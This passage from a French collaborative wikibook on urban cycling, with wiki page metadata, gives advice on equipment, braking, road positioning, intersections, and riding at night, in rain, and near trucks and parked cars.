de la roue; détendre attache rapide ou dévisser boulons, soulever l'arrière du vélo pour laisser sortir la roue. == Sacs, Porte-bagages == Avec un système de fixation sur le guidon, dessous la selle ou sur le porte-bagages arrière, pour ranger outils, vêtements supplémentaires... Un sac sur le vélo est un bien meilleur choix qu'un sac porté sur soi : pour le confort (pourquoi porter les bagages quand le vélo peut le faire ? un sac à dos, avec l'effort nécessaire pour le vélo, laissera ton dos chaud et trempé) et la sécurité (problème d'équilibre, blessure possible selon ce qui est transporté). Attention aux articles transportés dont des éléments, comme une lanière, peut se prendre dans les roues, le pédalier et bloquer brutalement la marche du vélo et provoquer ton éjection par dessus le dit vélo. == Antivol == Acheter un bon antivol en suivant les conseils donnés par les associations de cyclistes ayant mené des tests comparatifs (liens : fubicy). Globalement, utiliser un antivol en U plutôt que tout autre système. Attacher le cadre et toutes les pièces facilement démontable ou les prendre avec soi. == L'essentiel == Avoir un vélo en bon état de marche, bien équipé et entretenu régulièrement. [[Guide du vélo en ville/Pourquoi faire du vélo en ville ?|<< Pourquoi faire du vélo en ville ?]] | Une question d'équipement | [[Guide du vélo en ville/Démarrer, s’arrêter, virez : ça s'apprend aussi !|Démarrer, s’arrêter, virez : ça s'apprend aussi ! >>]] Guide du vélo en ville/Démarrer, s’arrêter, virez : ça s'apprend aussi ! 8489 44465 2006-06-13T10:24:29Z Chevassu 1585 synthaxe {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. == Apprendre à démarrer ? == Cela peut paraître une perte de temps, mais il est pourtant essentiel de revenir sur ce qui nous semble souvent le plus naturel, c'est-à-dire monter sur le vélo et démarrer. De la manière dont c'est réalisé dépendra votre sécurité dans de nombreuses situations : un bon départ est rapide, sûr, confortable. C'est crucial en côte ou dans la circulation. L'objectif, c'est d'atteindre très rapidement la vitesse nécessaire à l'équilibre en limitant la période où on n'a qu'un contrôle partiel du vélo à cause de la faible vitesse. Pour monter sur le vélo, d'abord se placer à cheval sur le cadre, à l'avant de la selle, les deux pieds au sol (pour arriver à cette position, il faut balancer une jambe par dessus la selle ou par dessus le cadre quand il le permet, en inclinant le vélo sur le côté si nécessaire). Attention, ne tente pas de t'asseoir sur la selle quand le vélo est à l'arrêt. D'ailleurs, ce n'est pas possible si la hauteur de la selle est bien réglée. Actionner les freins pour maintenir le vélo en place. Placer une pédale à deux heures : un peu en avant, en haut, en la tournant dans le sens contraire de la marche : ça peut ne pas le faire si la chaîne est trop lâche: il faut changer de vitesse alors. le pied sur la pédale, on est prêt à mouvoir le vélo. Desserrer les freins et pousser fort sur la pédale. Ce premier coup de pédale permet au vélo d'avancer à bonne vitesse et de vous hisser sur la selle. Dès que l'autre pédale vient en position haute, placer l'autre pied dessus. Quand on doit s'arrêter, glisser de la selle en prenant appui sur une pédale, pencher le vélo pour placer le pied qui ne sert pas au démarrage au sol (attention, seulement quand le vélo est à l'arrêt). Pour prévoir le redémarrage, placer le pied et la pédale dans la position de départ. Donc seulement un pied au sol à l'arrêt, l'autre attend sur sa pédale positionnée à deux heures, prêt pour un départ rapide. quand on ralentit pour s'arrêter, changer la vitesse en plaçant la chaîne sur de plus grands pignons : le redémarrage sera plus facile : attention, le changement de vitesse ne peut se faire que tant que l'ont tourne les pédales. Mais si les vitesses sont dans le moyeu de la roue, le changement de vitesse peut se fair à l'arrêt : un avantage quand on doit s'arrêter/démarrer souvent. L'usage de pédales automatiques ou de cale-pieds permet, une fois bien familiarisé, d'augmenter l'efficacité du pédalage et la sécurité : en évitant que le pieds glisse de la pédale en pleine poussée, ce qui peut provoquer une chute. Apprendre à s'en servir nécessite un apprentissage : il faut bien assimiler la manière dont on dégage le pied. au minimum, utiliser cale-pied ouverts en plastique, sans aucun serrage, ne contraignant le pied que sur le haut Erreur à éviter : - Ne pas essayer de s'asseoir sur la selle avec les deux pieds au sol avant de démarrer. Si vous pouvez le faire, votre selle est peut-être trop basse et peut provoquer une blessure au genou et rend le pédalage plus difficile. - Pousser le vélo avec un pied, comme sur un scooter, n'est pas une manière très sûre. Pour que cela devienne naturel, s'entraîner plusieurs fois. Monter la selle est souvent nécessaire. Bien utiliser les changements de vitesse, comme sur un véhicule motorisé : petites vitesses pour l'arrêt et le démarrage : ne pas caler au démarrage avec un trop gros développement à tirer (surtout en côte). == Savoir freiner == C'est essentiel de savoir bien freiner : des fois, vital, mais toujours utile. demande de bien connaître ses freins, leur réponse. d'abord, avoir des freins en bon état de fonctionnement : ne pas hésiter à les (faire) réviser ou remplacer s'ils ne fonctionnent pas bien. demande habileté, expérience : pas aussi simple que de simplement actionner une pédale comme dans une voiture. === frein avant, arrière, ou les deux ? === Sur tous les vélos, on trouve deux freins, un pour chaque main : il faut savoir comment s'en servir, quand utiliser l'un ou l'autre ou les deux en même temps. Utiliser les deux en même temps, bon pour les débutants, les personnes qui ne savent pas utiliser les freins , mais si tu veux pouvoir freiner aussi sûrement que possible, il faut apprendre à utiliser le frein avant en lui-même, ce qui te permettra de freiner le plus rapidement possible. quand on s'arrête alors qu'on se déplace (en voiture, à pied ou à vélo), le poids se déplace vers l'avant. quand vous arrêtez votre vélo, le poids se déplace sur la roue avant. marcher à côté de votre vélo : si vous ne freinez qu'avec le frein avant, le freinage est brusque et la roue arrière décolle légèrement. C'est le freinage optimale pour un vélo : stoppe le vélo deux fois plus vite que le frein arrière. Dans ce cas, le frein arrière n'est d'aucun secours, la roue n'exerçant plus de traction. Si vous ne freinez qu'avec le frein arrière, le freinage est plus mou et la roue arrière zigzague ou dérape. En descente, il provoque des dérapages dans les tournants. C'est pareil quand vous êtes sur le vélo : utiliser uniquement le frein arrière ne permet qu'un freinage lent et fait déraper le vélo, mais utiliser le frein avant trop durement pourra vous faire passer par dessus le guidon. Cela prend un peu de temps afin de bien savoir se servir du frein avant. Beaucoup de cyclistes ont peur de passer par dessus le guidon, ce qui peut arriver, si on a pas appris à moduler le frein avant. En cas de freinage dur, il est important d'utiliser ses bras pour protéger le corps d'une telle éjection, en agissant contre la décélération du vélo. en mettant le corps en arrière. quand on utilise les deux freins : risque de dérapage de la roue arrière et risque de blocage de la roue avant, mouvements incontrôlable du vélo sur les côtés. === Comment utiliser le frein avant ? === s'entraîner sur espace dégagé (parking, place) : de plus en plus rapidement, des deux freins en donnant le plus de force au frein avant, en continuant à pédaler. Pour sentir quand la roue arrière commence à déraper. C'est le signal pour réduire le frein avant. déplacer son corps vers l'arrière , s'arc-bouter, pour éviter dérapage et le passer par dessus bord. la roue arrière arrête de dérapper, augmenter frein avant. affiner la force nécessaire pour juste éviter dérappage arrière. === Quand utiliser le frein arrière ? === Dans de très rare circonstances : surfaces glissantes : sur surface séche, régulière, peu probable que la roue avant dérape au moment du freinage. Mais sur une surface glissante, c'est possible et dangereux car le vélo devient incontrôlable. Pour éviter ce risque, il vaut mieux contrôler sa vitesse avec le frein arrière. surfaces cahoteuses : où a priori les roues peuvent décoller du sol : donc éviter le frein avant : si le frein est actionné alors que la roue a décollé, elle sera bloquée quand elle retouchera le sol, provoquant une perte brutale d'équilibre. roue avant à plat : si éclatement du pneu ou dégonflement soudain, arrêtez-vous en utilisant le frein arrière. freiner de l'avant pourrait provoquer la sortie du pneu de la jante et un accident. frein avant défaillant dans une longue descente de montagne, pour soulager la main gauche et diminuer l'échauffement de la jante, alternez les freins avant et arrière. === Quand utiliser les deux freins simultanément ? === Jamais, sauf à deux exceptions : si frein avant pas assez puissant. mais régler rapidement le problème. si temps pluvieux, freinage moins effectif, donc usage des deux peut réduire distance de freinage. quand la route est glissante, la roue avant peut déraper au freinage : il faut freiner doucement, légèrement et utiliser les deux freins. il vaut mieux éviter de freiner ou tourner sur surface glissante, dérapante : si gravillons, sable, feuilles mortes, eau ou huile. rouler alors plus lentement. qd il pleut, temps et donc distance de freinage allongé si jante mouillée : assécher régulièrement, surtout avant freinage éventuel (à l'approche d'une intersection par exemple), les jantes en appliquant de légers coup de frein. Savoir tourner à vélo == Virer de bord == Faire tourner un vélo nécessite de se pencher latéralement du côté où on tourne. plus la vitesse est élevé, plus l'angle est aigu, plus on doit se pencher. On a pas le choix ! C'est le centre de gravité qui se déplace pour permettre à l'ensemble vélo+cycliste de rester en équilibre. Là où on peut jouer, c'est si on penche le vélo plus ou moins ou pareil que son corps : ce qu'on peut conseiller, au-delà de toutes les techniques issus de la compétition, c'est de pencher le haut du corps et le vélo ensemble, en gardant l'ensemble en ligne droite, centré, comme quand on roule tout droit. Cette technique a l'avantage de permettre de conserver la manoeuvrabilité du vélo, même quand aspérités sur la route. Et surtout, les autres choix (pencher le haut du corps davantage que le vélo ou pencher le vélo en gardant le haut du corp droit) sont dangereux quand on freine : le vélo s'arrête mais pas le cycliste ! Quand on prend un virage, ne pas regarder l'extérieur de la trajectoire, c'est le meilleur moyen de s'y retrouver. Regarder plutôt là où on veut diriger le vélo, en tournant la tête. [[Guide du vélo en ville/Une question d'équipement|<< Une question d'équipement]] | Démarrer, s’arrêter, virez : ça s'apprend aussi ! | [[Guide du vélo en ville/Où se placer sur la route ?|Où se placer sur la route ? >>]] Guide du vélo en ville/Où se placer sur la route ? 8490 46576 2006-06-29T21:54:15Z Fabrice 1558 {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. == Dans la circulation == Que vaut-il mieux : éviter le plus possible les voitures en zigzagant du trottoir aux places de stationnement libres sans trajectoire clairement prévisible ? Ou s'insérer dans la circulation, en roulant à vitesse constante, à sa place parmi les autres usagers de la route ? Pour nous, il est clair que la deuxième solution est généralement la plus sure : en te déplaçant avec l'ensemble du trafic routier, tu vas plus vite où tu veux aller et risques moins d'avoir un accident. Tu dois permettre aux autres usagers de la route de prévoir ta trajectoire, en se basant sur un ensemble de règles communes, le code de la route. Dans ce cadre, le vélo a autant de droit et de devoirs que les autres : si tu dois laisser passer dans certains cas d'autres usagers, d'autres fois c'est toi qu'on laissera passer. == À droite == Cela peut paraître évident, mais il faut le rappeler : il faut toujours rouler du côté droit de la route ! Si ce placer à gauche est plus sûr pour les piétons sur les routes sans accôtement, ce n'est pas pareil en vélo. Le risque d'accident est en particulier important aux intersections : piétons et voitures ne te verront pas arriver : avant de s'engager, ils regardent à gauche, d'où vient normalement le trafic, mais pas à droite. == À distance du bord de la route == (Voir code pour distante réglementaire du bord) S'éloigner du trottoir (environ 1 m) c'est se créer un espace de manoeuvre si l'automobiliste cherche néanmoins à doubler. c'est aussi éviter la partie la plus dangereuse de la chaussé : grilles d'égout, gravier, débris, nids de poule. Mais c'est surtout éviter d'être surpris par des piétons, objets en provenance des trottoirs qui peuvent te barrer la route, et de la portière de voiture. Attention aussi aux trottoirs qui débute soudainement , aux murs très près de la route, aux barrières de chantiers : c'est important de prévoir ces obstacles à l'avance et d'en informer par un signe les autres vélos qui te suivent : eux ne peuvent pas prévoir cet obstacle. Attention également aux voitures garées : leurs occupants peuvent sortir d'un moment à l'autre sans regarder, des enfants, animaux peuvent surgir d'entre deux voitures... se mettre à distance des portes de voiture : à un mètre au moins, et rester très vigilant. Car à une vitesse normale, il ne te sera pas possible d'éviter une porte qui s'ouvre si tu es sur son passage : soit tu heurteras la porte, soit tu te déportera rapidement sur ta gauche peut-être contre une voiture... Ne pas rouler entre les voitures garées : tu deviens alors invisible pour les automobilistes et au moment où tu devras rentrer de nouveau dans la circulation pour éviter une voiture garée, vers le centre de la voie, tu risques de te faire heurter par un véhicule. (= éviter de se ranger à droite dès qu'il y a un espace libre entre deux voitures stationnées, pour laisser passer des voitures et de revenir à gauche au prochain obstacle). Mieux vaut rouler plus au centre de la route, là où elle est propre. Rouler plus au centre permet d'avoir une meilleure vue sur toute la route et ses alentours, et être mieux vu des autres, notamment aux intersections, où on peut se mettre encore plus au centre de la voie. car à se moment, si une voiture tourne à droite en croisant ta trajectoire, tu pourras plus facilement t'écarter sur ta droite que si tu es déjà contre le trottoir : toujours se ménager une possibilité d'évitement ! avoir une trajectoire droite, prédictible pour les autres usagers de la route, En fonction de la largeur de la route : si route étroite, pour laisser le passage aux véhicules arrivant de derrière, collez un peu plus au bord. Faire attention aux véhicules venant d'en face quand il sont en train de dépasser un véhicule plus lent. mais dans un virage, après avoir regarder derrière si la voie était libre, se déplacer vers le milieu, afin d'être plus visible pour les conducteurs arrivant derrière vous. après être passé au sommet d'un dos d'âne, se rapprocher aussi du bord car les véhicules arrivant derrière ne vous verront pas Tu es un usager de la route avec le même droit d'usage que les automobilistes : si ces derniers ne peuvent te doubler, ils doivent ralentir et rester derrière toi jusqu'à ce qu'ils puissent te dépasser en toute sécurité. Ils ne faut pas se sentir coupable de ralentir la circulation : de toute façon, le dépassement ne peut se faire en toute sécurité par faute d'espace, de visibilité. À ce moment, si, pour faciliter le dépassement, tu te déplaces tout à droite, tu prends le risque d'être éjecté-e de la route. == Quand plusieurs voies == Quand il y a plusieurs voie dans la même direction, tu peux te placer au milieu de la voie de droite : les automobilistes désirant te déplacer devront le faire en utilisant une voie de gauche. Dans le cas inverse, en se serrant le plus à droite possible, tu encourages les automobilistes à te dépasser, surtout si les voies de gauche sont occupées. S'il y a une voie dessinée au sol pour les cyclistes, utilise-la mais en suivant également les conseils plus hauts qui s'appliquent qu'il y ai ou non une voie spéciale : si la voie est contre les voitures garées, garde tes distances, si elle est encombrée, semée de débris, ne l'utilise pas. Fais toujours attention aux piétons traversant, aux voitures tournant à droite, etc... Selon le code de la route, les voies cyclables ne sont pas obligatoires, indiquées par un panneau carré. Seules celles indiquées par un panneau rond sont obligatoire. Mais comme avant il n'y avait que le panneau rond, de nombreuses pistes non obligatoires conservents ce panneau... Attention également surtout aux camions, bus, véhicules long : éviter de les dépasser par la droite même sur votre voie réservée : en tournant, ils n'ont aucune chance de vous voir. == Quand on a une vitesse plus élevée que les autres usagers == Quand tu vas aussi vite ou plus vite que les voitures : en descente, ou quand la circulation est dense, comporte-toi comme une voiture : place-toi dans la circulation comme les autres voitures, double celles qui sont devant toi par la gauche (les conducteurs s'attendent à être dépassés par la gauche, pas par la droite, et regardent avant de se déplacer en conséquent). Un taxi, un bus, ou une simple voiture, doublée par la gauche : danger car des personnes peuvent y entrer ou en sortir rapidement et, légitimement, sans surveiller si la voie est libre. Avant de doubler, vérifie par un coup d'oeil par dessus l'épaule et en face si la voie est libre. Attention en particulier aux autres deux-roues. Pour remonter une voie de voitures, être très vigilant et avoir une vitesse réduite : une porte peut s'ouvrir, ,un véhicule déboîter subitement, un piéton apparaître devant toi, sans que tu puisse l'éviter faute de place. Attention quand tu doubles un camion ou un bus : le conducteur ne peut pas bien te voir surtout si tu ne laisses pas un espacement assez important. Quand la circulation redevient rapide, insére-toi dans la circulation, en freinant légèrement si nécessaire. == L'essentiel == Les cyclistes urbains ont souvent tendance à chercher à se placer à l'extrême droite de la route par crainte d'être trop serré par les automobilistes les dépassant ou d'impatienter les automobilistes. Mais cette position est la plus dangereuse : moins visible, trop près des voitures en stationnement. Cela incite les automobilistes à te dépasser même s'il n'y a pas la place suffisante. et tu n'as plus de place pour fuir un danger. Ne sois pas trop timide ou craintif : prends la place qui te revient en prenant ta sécurité en main, même si cela conduit à ralentir la circulation. Place-toi plutôt à droite quand tu roules lentement, double par la gauche. Garde tes distances avec le bord du trottoir et les véhicules en stationnement (au moins un mètre). [[Guide du vélo en ville/Démarrer, s’arrêter, virez : ça s'apprend aussi !|<< Démarrer, s’arrêter, virez : ça s'apprend aussi !]] | Où se placer sur la route ? | [[Guide du vélo en ville/Que faire aux intersections ?|Que faire aux intersections ? >>]] Guide du vélo en ville/Que faire aux intersections ? 8494 43887 2006-06-05T15:04:21Z Fabrice 1558 {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. == Principes de base == === Être à la bonne place === Approchez l'intersection en vous positionnant en fonction de votre destination : les tourne-à-gauche dans la partie gauche de la voie, les tourne-à-droite dans la partie droite, les autres, entre les deux. Suivre les indications au sol quand elles indiquent les voies dans lesquelles se placer quand il y en a : ne pas se retrouver dans la voie des tourne-à-droite si on va tout droit ! suivre les indications du code de la route : feux, panneaux stop ou cédez le passage, priorité à droite... donnez la priorité aux piétons qui s'engagent sur le passage piéton. Si à une intersection, vous continuer tout droit, faire attention à se placer sur la bonne voie : quitter une voie qui est indiquée pour ceux qui tournent à droite, en se déplacer vers la gauche. quand on change de voie, on doit regarder derrière si quelqu'un arrive, puis signaler avec le bras le changement de direction. ne pas se fier qu'à ses oreilles ! regarder en arrière sans perdre l'équiibre ou faire dévier le vélo demande de l'adresse : cela s'acquiert en s'entraînant, dans un parking vide par exemple : l'important est de garder les bras dans la même position, donc sans bouger le guidon. === Donner les bonnes informations === Quand vous tournez, montrer votre intention en vous positionnant correctement et en faisant un signal de la main. Si vous allez tout droit, il est préférable de continuer à pédaler plutôt que d'être en roue-libre pour montrer aux autres usagers que vous continuer. == Tourner à droite == le plus simple : rester dans voie de droite, ou sur la partie droite de la voie, vérifier l'état de la circulation et tournez. Pour éviter d'être coincer dans le coin, rouler vers le centre de la voie pour éviter qu'une voiture se retrouve à votre gauche et tourner en même temps que vous. == le tourne-à-gauche direct == On peut toujours tourner à gauche en deux temps, en tournant d'abord à droite, mais cela prend plus de temps. Une des principales causes d'accident avec un vélo est le tourne-à-gauche du cycliste. Il est obligé de couper la trajectoire des voitures qui le suivent et qui le croisent. La technique la plus fréquente est le tourne-à-gauche direct. Comme le montre le schéma ci-contre, après avoir bien vérifié qu'aucun véhicule ne va le doubler, le cycliste signale sa volonté de tourner à gauche et se déporte progressivement sur la gauche. Il veille à ce qu'il n'y ait pas de véhicule dans l'autre sens pour éviter de rester coincé entre deux files de voitures. Se déplacer vers la partie gauche de la voie, ou la voie la plus à gauche, une fois le bras tendu, voir comment réagit les automobilistes, s'il y en a : vous laisse-t-il passer ou non. si oui, il ralentit ou se déplace, pour vous laisser passer. regarder première fois : il y a ou non quelqu'un. s'il y a des voitures, laisser passer celle(s) qui ne pourraient pas s'arrêter (trop proches, trop rapides), puis indiquer clairement ses intentions, regarder à deux reprises pour voir la réaction des automobilistes : s'ils ralentissent ou non. dans le premier cas, passer. suite à un signal de votre part, toujours attendre la réaction du conducteur : le signal seul ne suffit pas à assurer votre passage. cette procédure impose de s'y prendre à l'avance pour un changement de direction : anticiper pour avoir plus de chance que quelqu'un vous laisse passer sans trop attendre. Il est très important d'anticiper cette manœuvre pour bien montrer aux automobilistes son intention de tourner et pouvoir se positionner assez tôt sur la partie gauche de la chaussée ne pas hésiter, surtout si circulation dense et rapide sur plusieurs voies, à attendre, à l'arrêt, qu'un espace suffisant, dû à l'interruption momentané du trafic, autorise la traversée des voies. quand on tourne à gauche, se déplacer dans la partie gauche de la voie (sauf si voie spéciale pour tourner à gauche). comme ça, on a plus à s'occuper que de la circulation arrivant d'en face. faire attention que les voitures tournant à gauche comme vous ne se place pas à votre droite, mais à votre gauche, en vous plaçant à l'extérieur de la trajectoire. ne pas hésiter, si la situation n'est pas sure à attendre la prochaine intersection, puis revenir en arrière, ou à traverser comme un piéton. == Traversée d'intersections peu courantes == où il faut redoubler d'attention. notamment en ce qui concerne notre placement, des fois, c'est un peu compliqué. s'introduire dans la circulation : éviter, même si c'est pour quelques métres, d'être pas là où on ne vous attend pas (contre-sens, traversée de voies, etc) === rampe d'entrée ou de sortie === vous roulez sur la route et une rampe d'entrée rejoint cette route devant vous : restez dans votre voie. La circulation qui arrive de la rampe passerons devant puis derrière vous. une rampe de sortie est comme un tourne-à-droite, mais la vitesse des voitures qui s'y engage reste élevée. Si vous continuer tout droit et qu'une rampe de sortie est sur la droite, rester dans votre voie. Les usagers s'y engageant vous passerons devant puis derrière vous. === rond-point === à une voie :dans un petit giratoire (une seule voie circulaire et avec des branches d'approche également à une seule voie) le cycliste doit rouler au milieu de la voie. Le cycliste doit absolument prendre sa place et l'encombrer le plus possible de sa présence. En effet si sa trajectoire suit l'extérieur du giratoire, il invite les automobilistes à le dépasser, et il se trouvera en situation de conflit et de danger dès la branche suivante s'il doit poursuivre dans l'anneau à plusieurs voies : rester sur voie de droite en indiquant à chaque nouvelle sortie que vous n'empruntez pas avec votre bras gauche votre intention (la situation est dangereuse car les voitures sortant vous coupent la route), puis quand arrive votre sortie, signalez là avec votre bras droit. ou faire comme les voitures : si vous ne sortez pas à la première sortie, placez-vous sur la voie centrale, où la circulation n'est pas plus rapide, puis, au moment de sortir, replacez-vous à droite puis engagez-vous dans la sortie, en l'indiquant à chaque fois. === Deux tourne-à-gauche à la volée === par exemple, à une intersection, vous prenez à gauche, puis quelques dizaines de métres après, encore à gauche dans une voies secondaires : dans ce cas, ne revenez pas à droite une fois passée l'intersection, terminez votre premier tournez-à-gauche en vous positionnant à gauche ou sur voie de gauche, afin d'être bien placé pour le second tournez-à-gauche. === Voies cyclables et intersections === === intersection en Y === qd la route principale a un virage vers la gauche avec une intersection sur la droite ou en face, même si vous restez sur la voie principale, attention aux voitures qui pourraient vous doubler et tourner à droite, ou aux voiture arrivant de la droite et s'engageant devant vous : Une bonne position sur la chaussée, voire une indication du bras, feront comprendre à l'automobiliste l'intention du cycliste == L'essentiel == Vous pouvez circuler en toute sécurité au passage de la plupart des intersections. Un positionnement sur la bonne voie est le plus important. anticiper le changement de voie quand nécessaire, surtout quand vous tournez à gauche. Avant de changer de direction, regarde d'abord si la voie est libre (coup d'oeil derrière quand on change de file, sur les côté quand on aborde une route plus importante, en face quand on tourne à gauche) puis signale clairement tes intentions : bras tendu. Pouvoir contrôler facilement la circulation arrivant derrière vous est essentiel. Mais il faut toujours faire attention aux autres usagers n'indiquant pas leur changement de direction, ne regardant pas avant de s'engager, ou change d'avis en cours de route sur la direction adoptée. [[Guide du vélo en ville/Où se placer sur la route ?|<< Où se placer sur la route ?]] | Que faire aux intersections ? | [[Guide du vélo en ville/Roulez sous la pluie, dans l'obscurité|Roulez sous la pluie, dans l'obscurité >>]] Guide du vélo en ville/Roulez sous la pluie, dans l'obscurité 8495 43883 2006-06-05T14:42:50Z Fabrice 1558 {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. Si vous êtes adepte du vélo utilitaire, pour se rendre au travail par exemple, ça vous arrivera de rouler la nuit ou sous la pluie. situation plus dangereuse pour les cycliste en raison du manque de luminosité. Mais un comportement et un équipement adéquats permette d'aborder ces situations en toute confiance. == La nuit == vous avez besoin de lumières. même si la route est éclairée par des lampadaires. lumière blanche identifie l'avant de tous les véhicules. un réflecteur ne suffit pas à l'avant. à l'arrière une lumière rouge et un réflecteur (catadioptre), couple indispensable. Différents types de lumières pour vélo : à batterie (plus ou moins puissante donc volumineuse), à générateur (dynamo) . à petite batterie, suffisant dans environnement illuminé. des piles rechargeables permettent de diminuer le coût de ces systèmes. le phare avant doit être réglé sur une position haute, son intérêt étant d'être vu. si pas d'éclairage public, système plus puissant, avec générateur, est nécessaire pour éclairer la voie (régler le phare avant en position basse dans ce but). pour la ville, choisissez un système avec accumulateur pour rester allumer à l'arrêt. des systèmes puissant à batterie sont plus lumineux et donc potentiellement intéressant en cas d'usage intensif du vélo la nuit sur des routes non éclairées, mais il sont également plus volumineux, cher, lourd, ont besoin d'être rechargé fréquemment. le système avec générateur est plus écolo bien sûr. bien régler la hauteur du phare avant, avec système puissant, de manière à éclairer la surface de la route et les possibles obstacles, avec un système moins puissant, de manière à être vu de face : face à un mur,en déplaçant le vélo d'avant en arrière : le centre du halo doit rester à la même hauteur. Contrôler le bon fonctionnement des deux phares, en demandant à quelqu'un d'autre par exemple. N'oubliez-pas d'emporter ampoules et/ou piles de rechange, et même une petite lampe de poche, quand vous prévoyez de rouler de nuit. des réflecteurs en supplément (sur pédales, roues, pinces à pantalon, sacs et vêtements, sur cadre...), utiles que s'ils ne sont pas trop sales ou cachés. Des bandes adhésifs, pour garde-boue, cadre, casque. Le réflecteur arrière doit être assez grand. et bien positionner : pas dirigé vers le haut ou le bas. Les réflecteurs ne remplacent en aucun cas des lumières : des piétons en face de vous ne les verront pas. Des voitures débouchant à droite ou à gauche au devant de vous non plus, leurs phares éclairant en face d'elles. Comment circuler la nuit ? se servir de son phare avant pour attirer l'attention d'automobilistes, ceux arrivant d'une rue perpendiculaire par exemple. si pas d'éclairage public, ne pas rouler trop vite pour voir où on va, en descente principalement. attention aux usagers soûls : sorties de bar, de discothèque... un truc quand on est sur une route non-éclairée : regardez l'ombre portée du vélo sur la route quand une voiture arrive derrière : l'ombre se déplace vers la droite quand la voiture se déporte vers la gauche, pour vous doubler. == Comment circuler en temps humide ? == === Rester au sec : une question d'équipement === Une capuche limitera ton champ de vision, une imperméable deviendra aussi mouillée à l'intérieur qu'à l'extérieur à cause de la non évacuation de la transpiration, un poncho ou une veste trop longs pourront se prendre dans les roues. Le mieux est peut-être de s'équiper d'une cape de pluie pour cycliste, c'est-à-dire taillée pour être portée sur un vélo. on peut attacher l'avant au guidon pour faire comme un auvent couvrant les jambes. une cape de couleur claire vous rendra plus visible. L'aération est possible par en dessous. Mais les garde-boue sont alors indispensables car la cape ne protège pas le bas. Une veste imperméable et respirante, avec également une bonne aération pourra également faire l'affaire. Tu peux également t'équiper d'un couvre-casque et installer une bavette sur le bas du garde-boue avant afin de protéger tes pieds. Les automobilistes sont moins attentifs, ont une moins bonne visibilité. attention aux éclaboussures des véhicules vous dépassant : risque de déséquilibre. === Freinage et pluie === Le freinage d'un vélo est modifié par temps de pluie : les patins des freins adhérent moins à la jante si celle-ci est en acier. La distance de freinage est alors considérablement augmentée. Tu devras donc, avant d'avoir besoin de freiner, assécher les jantes en actionnant légerement plusieurs fois de suite les freins. Les jantes en aluminium n'ont pas ce défaut. un autre système de freinage (dans moyeu, à disque) pourra aussi améliorer les qualités du freinage. === Surfaces dangereuses === Tu dois faire particulièrement attention aux surfaces métalliques sur la route, comme des plaques de chantier, plaques d'égouts, aux surfaces peintes (signalisations), feuilles, flaques d'huile : très glissant. ne pas traverser des flaques dont on voit pas le fond : elles peuvent cacher des trous. rentrée à la maison, sécher le vélo et le lubrifier pour éviter oxydation, spécialement la chaîne. == L'essentiel == rouler la nuit, raisonnablement sûr si on est bien équipé : au moins phare avant et réflecteur arrière. un feu arrière et des réflecteurs supplémentaires vous rendront bien plus visibles (de plus, requis par code de la route). des vêtements clairs, des bandes réflectives sur le sac, le casque sont un plus. On peut même avoir des gants réflecteurs pour pouvoir signaler un changement de direction. on est généralement plus attentif quand on roule de nuit, cela limite les risques. Pour rouler confortablement sous la pluie, le vélo doit être équipé de garde-boue, le cycliste doit être couvert. attention aux freins, moins efficaces, et en général le vélo lui-même adhère moins à la route. [[Guide du vélo en ville/Que faire aux intersections ?|<< Que faire aux intersections ?]] | Roulez sous la pluie, dans l'obscurité | [[Guide du vélo en ville/Comment se sortir de toutes les situations difficiles ?|Comment se sortir de toutes les situations difficiles ? >>]] Guide du vélo en ville/Comment se sortir de toutes les situations difficiles ? 8496 45237 2006-06-19T19:12:33Z Fabrice 1558 /* Obstacles */ {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. Quand la circulation est dense, que les équipements ne sont pas adaptés, que des usagers enfreignent la loi, il faut pouvoir faire face à la situation et se sortir de celle-ci savoir prendre l'initiative en restant prudent, respectueux des autres usagers == Anticiper, analyser == Faire preuve d'anticipation, observer, utiliser son ouïe. == Camions, bus == Longs, larges, les camions, bus et autres véhicules de gros gabarit sont particulièrement dangereux pour les autres usagers de la route. Une collision avec un camion ou tout autre véhicule de gros gabarit, même si la vitesse est faible, aura des conséquences très graves : le risque de mortalité est 4 fois plus important si un poids-lourd est impliqué dans un accident avec un vélo (ONISR/DSCR, 2004) Quand tu es dépassé par ce genre de véhicule, attention au souffle qui peut te déséquilibrer. Quand un véhicule long tourne à droite ou à gauche il a besoin d'un espace supérieur à sa largeur : l'arrière se déporte à gauche s'il tourne à droite et à droite s'il tourne à gauche. En tournant à droite, l'avant se déporte d'abord à gauche puis leurs roues arrières passent très près du trottoir : tu peux alors te retrouver bloqué, surtout si des barrières barre l'accès au trottoir, et le chauffeur ne verra rien. Ne les dépasse ni par la droite ni par la gauche quand ils manoeuvrent. === Champ de vision limité === Le chauffeur ne te voit pas forcément si tu est sur les côté, à cause des angles morts importants, et pas du tout si tu es derrière. Dans le cas de gros camion, le chauffeur ne te verra pas si tu est trop près de la cabine, devant ou sur les côté. Se placer bien à l'avant. Chercher dans tous les cas à établir contact visuel avec le chauffeur, soit directement, soit par l'intermédiaire des rétroviseurs. En bref, suffisamment devant ou derrière, mais jamais sur les côtés. == Le prix de la porte == Souvent sous-estimé, le risque de collision avec une porte d'un véhicule en stationnement qui s'ouvre devant toi est sérieux et la collision peut avoir des conséquences graves. Prends comme point de départ que toutes les portes des voitures garées et des taxis en stationnement vont s'ouvrir juste à ton passage ! Tu ne dois pas circuler à moins de la distance d'une porte des véhicules garées. Et même si ça empêche 